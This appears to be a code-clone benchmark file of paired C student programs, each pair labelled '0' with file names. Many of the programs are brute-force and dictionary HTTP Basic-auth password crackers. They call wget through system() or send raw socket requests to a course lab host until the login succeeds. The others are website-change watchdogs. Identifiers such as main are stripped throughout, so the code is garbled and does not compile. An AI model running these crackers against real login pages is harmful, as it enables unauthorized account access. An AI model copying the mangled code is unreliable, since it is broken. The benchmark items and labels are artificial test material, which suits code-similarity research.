#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include <stdio.h> #include <stdlib.h> #include <time.h> int () { int cntr=0; char get[96]; char username[]=""; char password[16]; int R_VALUE; double time_used; clock_t , end; FILE* fp; fp = fopen("/usr/share/lib/dict/words","r"); = clock(); while ( fscanf(fp,"%s",&password) != EOF ) { if(strlen(password)>3) continue; cntr++; printf("%d >> PASSWORD SEND : %s \n",cntr, password); sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password); R_VALUE=system(get); if(R_VALUE==0) { printf("The Password has been cracked and it is : %s" , password); exit(0); } } end = clock(); time_used = ((double) (end - )) / CLOCKS_PER_SEC; printf("time_used = %f\n", time_used); }
0
008.c
026.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include <stdio.h> #include <sys/time.h> #include <strings.h> #include <stdlib.h> #include <ctype.h> int () { FILE *fileopen; char *t_tst,chk[6]; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir original"); system("mv www.cs.rmit.edu./images/*.* original/"); system("mv www.cs.rmit.edu./students/*.* original/"); sleep(75); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* fresh/"); system("mv www.cs.rmit.edu./students/*.* fresh/"); system("diff one two > image_dif.txt"); fileopen = fopen("imagedif.txt","r"); t_tst = fgets(chk, 6, fileopen); if (strlen(chk) != 0) system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt"); return 0; }
0
008.c
067.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include<stdio.h> #include<stdlib.h> #include<string.h> int main () { FILE *fp; char s[300] , ptr[20]; system("rm *.html* "); system("wget http://www.cs.rmit.edu./students/ "); system("mv index.html First.html"); system("sleep 10"); system("wget http://www.cs.rmit.edu./students/ "); system("diff First.html index.html > difference.txt" ); fp=fopen("difference.txt","r"); if(fgets(ptr,30,fp)) { system( "mailx -s \"Changes were detected \" < difference.txt "); } else printf(" were changes detected"); return 0; }
0
008.c
024.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> int () { char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int a=0,b=0,c=0,d,e,count=0; char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50]; char result,result1,result2,mx[100],mx1,mx2,mx3,mx4; int ,end,t; = time(); while(sizeof(lc)!=52) { temp2[0]=lc[d]; temp2[1]='\0'; d=d+1; strcpy(p,temp2); while(sizeof(uc)!=52) { temp3[0]=uc[b]; temp3[1]='\0'; b=b+1; strcpy(q,p); strcat(q,temp3); for(e=0;e<52;e++) { temp1[0]=gc[e]; temp1[1]='\0'; strcpy(r,q); strcat(r,temp1); strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd="); strcat(mx,r); printf("temp3=%s\n",mx); if(system(mx)==0) { printf("Password=%s\n",mx); printf("%d \n",count); end = time(); t = (end -); t /= 1000000000.0; printf("The total time_var taken is:%llds\n",t); exit(1); } } } } return 0; }
0
008.c
009.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0'; strcpy(temp1,b); strcat(b,); strcpy(pass,b); strcpy(b,temp1); pass[0] = arr[i]; pass[1]= arr[j]; pass[2]= arr[k]; pass[3] = '\0'; printf(" the third value of the %s \n" ,pass); printf("%s\n",pass); printf("*********\n" ); strcat(string1, pass); strcat(string1, string2); printf("\n executing %s\n", string1); sysoutput = system(string1); if (sysoutput == 0) { printf("\nsuccess %d %s\n",sysoutput,pass); exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int main() { char *wordptr = " word"; FILE *fp; int syst = 1; char string1[80], string2[50]; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); char words[30]; fp = fopen("words", "r"); while(wordptr != NULL) { wordptr = fgets(words, 30, fp); if (wordptr == NULL) exit(1); words [ strlen(words) - 1 ] = '\0'; strcat(string1, words); strcat(string1, string2); printf("\n %s \n",string1); syst = system(string1); if (syst == 0) { exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); printf("%s", words); } }
0
032.c
001.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
0
032.c
069.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
0
032.c
073.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h> #include <netdb.h> #include <unistd.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <arpa/inet.h> #include <errno.h> #include <signal.h> #define BUFFER_SIZE 2000 #define RETURN_OK 0 #define RETURN_ERROR 1 #define TRUE 1 #define FALSE 0 #define PASSWORD_LENGTH 3 #define STATUS_OK 200 #define STATUS_AUTH_REQUIRED 401 #define CONN_CLOSED 2 char *host; char *filename; int ; char *url; char *username; int attempt; struct sockaddr_in serverAddr; void processArguments(int, char **argv, char **, char **); void printUsage(char *); void splitURL(const char *, char **, char **); int openConnection(); void initialiseConnection(); void sendRequest(int, char *, char *, char *, char *); int getResponseStatus(int); void base64_encode(const unsigned char *, unsigned char *); void getHostErrorMsg(char *); void generatePassword(char *, int); void testPassword(char *); int main(int argc, char *argv[]) { char password[PASSWORD_LENGTH+1]; int i; attempt = 0; processArguments(argc, argv, &url, &username); splitURL(url, &host, &filename); initialiseConnection(); = openConnection(); for (i=1; i<=PASSWORD_LENGTH; i++) { memset(password, 0, PASSWORD_LENGTH+1); generatePassword(password, i); } printf("The password has not been cracked\n"); exit(RETURN_OK); } void generatePassword(char *password, int reqLength) { static const char *chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; int currLength; int i; currLength = strlen(password); currLength++; for (i=0; i<strlen(chars); i++) { password[currLength-1] = chars[i]; if (strlen(password) != reqLength) { generatePassword(password, reqLength); } else { testPassword(password); } password[currLength] = '\0'; } } void testPassword(char *password) { int status; attempt++; TestPassword: sendRequest(, host, filename, username, password); status = getResponseStatus(); if (status == STATUS_OK) { printf("The password has been found after %d attempts: %s\n", attempt, password); exit(RETURN_OK); } else if (status == CONN_CLOSED) { (); = openConnection(); goto TestPassword; } else if (status != STATUS_AUTH_REQUIRED) { printf("Status %d received from server\n", status); exit(RETURN_ERROR); } } void processArguments(int argc, char *argv[], char **url, char **username) { if (argc != 3) { printUsage(argv[0]); exit(1); } *url = (char *) malloc(strlen(argv[1] + 1)); strcpy(*url, argv[1]); *username = (char *) malloc(strlen(argv[2] + 1)); strcpy(*username, argv[2]); } void printUsage(char *program) { fprintf(stderr, "Usage:\n"); fprintf(stderr, "%s url username\n", program); } void splitURL(const char *url, char **host, char **file) { char *p1; char *p2; p1 = strstr(url, "//"); if (p1 == NULL) p1 = (char *) url; else p1 = p1 + 2; p2 = strstr(p1, "/"); if (p2 == NULL) { fprintf(stderr, "Invalid url\n"); exit(RETURN_ERROR); } *host = (char *) malloc(p2-p1+2); strncpy(*host, p1, p2-p1); (*host)[p2-p1] = '\0'; *file = (char *) malloc(strlen(p2+1)); strcpy(*file, p2); } void sendRequest(int , char *host, char *filename, char *username, char *password) { char message[BUFFER_SIZE]; unsigned char encoded[BUFFER_SIZE]; unsigned char token[BUFFER_SIZE]; sprintf((char *) token, "%s:%s", username, password); base64_encode(token, encoded); sprintf(message, "GET %s HTTP/1.1\nHost: %s\nAuthorization: %s\n\n", filename, host, encoded); if (write(, message, strlen(message)) == -1) { perror(""); exit(RETURN_ERROR); } } int getResponseStatus() { char message[BUFFER_SIZE]; int bytesRead; char *p1; char status_str[4]; int status; while (TRUE) { bytesRead = (, message, BUFFER_SIZE-1); if (bytesRead == -1) { perror(""); exit(RETURN_ERROR); } else if (bytesRead == 0) { return CONN_CLOSED; } message[bytesRead+1] = '\0'; p1 = strstr(message, "HTTP"); if (p1 != NULL) { p1 = p1 + 9; break; } } strncpy(status_str, p1, 3); status_str[3] = '\0'; status = atol(status_str); return status; } int openConnection() { int ; if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror(""); exit(RETURN_ERROR); } if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) == -1) { perror("connect"); exit(RETURN_ERROR); } return ; } void initialiseConnection() { struct hostent *serverHostent; unsigned serverIP; char errorMsg[BUFFER_SIZE]; memset(&serverAddr, 0, sizeof(serverAddr)); serverAddr.sin_port = htons(80); if ((serverIP = inet_addr(host)) != -1) { serverAddr.sin_family = AF_INET; serverAddr.sin_addr.s_addr = serverIP; } else if ((serverHostent = gethostbyname(host)) != NULL) { serverAddr.sin_family = serverHostent->h_addrtype; memcpy((void *) &serverAddr.sin_addr, (void *) serverHostent->h_addr, serverHostent->h_length); } else { getHostErrorMsg(errorMsg); printf("%s: %s\n", host, errorMsg); exit(RETURN_ERROR); } } void base64_encode(const unsigned char *input, unsigned char *output) { static const char *codes = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; int i; int len; int lenfull; unsigned char *p; int a; int b; int c; p = output; len = strlen((char *) input); lenfull = 3*(len / 3); for (i = 0; i < lenfull; i += 3) { *p++ = codes[input[0] >> 2]; *p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)]; *p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)]; *p++ = codes[input[2] & 0x3f]; input += 3; } if (i < len) { a = input[0]; b = (i+1 < len) ? input[1] : 0; c = 0; *p++ = codes[a >> 2]; *p++ = codes[((a & 3) << 4) + (b >> 4)]; *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '='; *p++ = '='; } *p = '\0'; } void getHostErrorMsg(char *message) { switch (h_errno) { HOST_NOT_FOUND : strcpy(message, "The specified host is unknown"); break; NO_DATA: strcpy(message, "The specified host name is valid, but does not have address"); break; NO_RECOVERY: strcpy(message, "A non-recoverable name server error occurred"); break; TRY_AGAIN: strcpy(message, "A temporary error occurred authoritative name server. Try again later."); break; default: strcpy(message, " unknown name server error occurred."); } }
0
032.c
010.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include <stdio.h> #include <stdlib.h> #include <errno.h> int () { while (1) { system("wget -p www.cs.rmit.edu.");\ system("mkdir sitefiles"); system("cp www.cs.rmit.edu./index.html sitefiles"); system("diff sitefiles/index.html www.cs.rmit.edu./index.html | mail @cs.rmit.edu."); system("md5sum www.cs.rmit.edu./images/*.* > imageInfo.txt"); system("diff imageInfo.txt sitefiles/imageInfo.txt | mail @cs.rmit.edu."); system("cp imageInfo.txt sitefiles"); sleep(86400); } }
0
032.c
035.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#define _REENTRANT #include <sys/time.h> #include <sys/types.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdarg.h> #include <unistd.h> #include <errno.h> #include <ctype.h> #include <pthread.h> #include <signal.h> #define MAX_THREADS 1000 #define MAX_COMBO #define false 0 #define true 1 static char *alphabet="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; static char **combination=NULL; static char host[128]; pthread_mutex_t counter_lock = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER; pthread_cond_t thread_ready = PTHREAD_COND_INITIALIZER; static int attempt_count=0; static int combo_entries=0; static struct timeval ; static struct timeval stop; static int thread_ready_indicator=false; static int thread_start_indicator=false; static int thread_count=0; typedef struct range { int ; int ; }range; void *client(void *arg) { int i=0, status=1; range *= (struct range*)arg; char local_buffer[128]; pthread_mutex_lock(&thread_lock); thread_ready_indicator=true; pthread_cond_signal(&thread_ready); while(thread_start_indicator==false) pthread_cond_wait(&start_hacking, &thread_lock); fflush(stdout); pthread_mutex_unlock(&thread_lock); for(i=->; i<=-> && i<combo_entries; i++) { sprintf(local_buffer, "wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s", "", combination[i], host); status=system(local_buffer); if(status==0) { printf("\n\nusername: \npassword: %s\n\n", combination[i]); fflush(stdout); pthread_mutex_lock(&counter_lock); attempt_count++; gettimeofday(&stop, NULL); printf("About %d attempts were , which took %ld.%ld seconds complete.\n", attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec)); fflush(stdout); pthread_mutex_unlock(&counter_lock); exit(EXIT_SUCCESS); } else { pthread_mutex_lock(&counter_lock); attempt_count++; pthread_mutex_unlock(&counter_lock); } } pthread_exit(NULL); } char *getNextCombination() { static int i=0; static int j=0; static int k=0; static int mode=1; char *word; if(i>51) { mode++; i=0; j=0; k=0; } if(mode==1) { char *word = calloc(mode, 1); word[0]=alphabet[i++]; word[1]='\0'; return word; } if(mode==2) { if(j>51) { i++; j=0; } if(i>51) { mode++; i=0; j=0; j=0; } else { char *word = calloc(mode, 1); word[0]=alphabet[i]; word[1]=alphabet[j++]; word[2]='\0'; return word; } } if(mode==3) { if(k>51) { j++; k=0; } if(j>51) { i++; j=0; } if(i>51) { mode++; i=0; j=0; j=0; } else { char *word = calloc(mode, 1); word[0]=alphabet[i]; word[1]=alphabet[j]; word[2]=alphabet[k++]; word[3]='\0'; return word; } } return NULL; } int main(int argc, char **argv) { int wait_status=0, i=0, j=0, num_threads=0; int partition=0, prev_min=0, prev_max=0; int len=0; char *word; range *; pthread_t tid[MAX_THREADS]; int non_alpha_detected=0; if(argc<3) { puts("Incorrect usage!"); puts("./brute num_threads url"); exit(EXIT_FAILURE); } strcpy(host, argv[2]); num_threads=atoi(argv[1]); combination = (char **)calloc(MAX_COMBO, sizeof(char *)); printf("Process ID for the thread is: %d\n", getpid()); printf("Creating brute-force dictionary ... "); while( (word=getNextCombination())!= NULL && i<MAX_COMBO) { combination[i]=calloc(strlen(word)+1, sizeof(char)); strcpy(combination[i++], word); combo_entries++; } puts(""); j=0; partition=combo_entries/num_threads; if(partition==0) { puts("Reducing the number of threads match the number of words."); num_threads=combo_entries; partition=1; } prev_min=0; prev_max=partition; i=0; memset(&, 0, sizeof(struct timeval)); memset(&stop, 0, sizeof(struct timeval)); while(i<num_threads && i<MAX_THREADS) { =malloc(sizeof(struct range)); ->=prev_min; ->=prev_max; pthread_mutex_lock(&thread_lock); thread_ready_indicator=false; pthread_mutex_unlock(&thread_lock); if(pthread_create(&tid[i++], NULL, client, (void *))!=0) puts("Bad thread ..."); pthread_mutex_lock(&thread_lock); while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock); pthread_mutex_unlock(&thread_lock); prev_min+=partition+1; if(i==num_threads) { prev_max=combo_entries; } else { prev_max+=partition+1; } } gettimeofday(&, NULL); pthread_mutex_lock(&thread_lock); thread_start_indicator=true; pthread_mutex_unlock(&thread_lock); pthread_cond_broadcast(&start_hacking); printf("Created %d threads process %d passwords\n", num_threads, combo_entries); printf("Attacking host: %s\n", host); fflush(stdout); for(i=0; i<num_threads && i<MAX_THREADS; i++) pthread_join(tid[i], NULL); gettimeofday(&stop, NULL); puts("Could not determine the password for this site."); printf("About %d attempts were , which took %ld.%ld seconds complete.\n", attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec)); fflush(stdout); for(i=0; i<combo_entries; i++) (combination[i]); (*combination); return EXIT_SUCCESS; }
0
032.c
058.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <ctype.h> int (){ system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir old"); system("mv www.cs.rmit.edu./images/*.* old/"); system("mv www.cs.rmit.edu./students/*.* old/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir new"); system("mv www.cs.rmit.edu./images/*.* new/"); system("mv www.cs.rmit.edu./students/*.* new/"); system("diff old new > report.txt"); system("mailx -s \"Report of difference \" < report.txt "); exit(1); }
#include<stdio.h> #include<stdlib.h> #include<ctype.h> int (int argc, char *argv[]) { FILE *fp; while(1) { system("wget -p http://www.cs.rmit.edu./students"); system("mkdir Images"); if((fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"))==NULL) { system("cd www.cs.rmit.edu./images | ls > /home/s//SECAS02ANS/Images/file.txt"); system("md5sum www.cs.rmit.edu./images/*.* > /home/s//SECAS02ANS/Images/file.txt"); fclose(fp); exit(0); } else { fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"); system("cd www.cs.rmit.edu./images | ls > www.cs.rmit.edu./file.txt"); system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt"); system("diff /home/s//SECAS02ANS/Images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu."); system("mv www.cs.rmit.edu./file.txt /home/s//SECAS02ANS/Images"); fclose(fp); } system("mkdir Text"); if((fp=fopen("/home/s//SECAS02ANS/Text/index.html","r"))==NULL) { system("cp www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text"); exit(0); } else { fopen("/home/s//SECAS02ANS/Text/index.html","r"); system("diff /home/s//SECAS02ANS/Text/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu."); system("mv www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text"); fclose(fp); } sleep(86400); } return (EXIT_SUCCESS); }
0
032.c
033.c
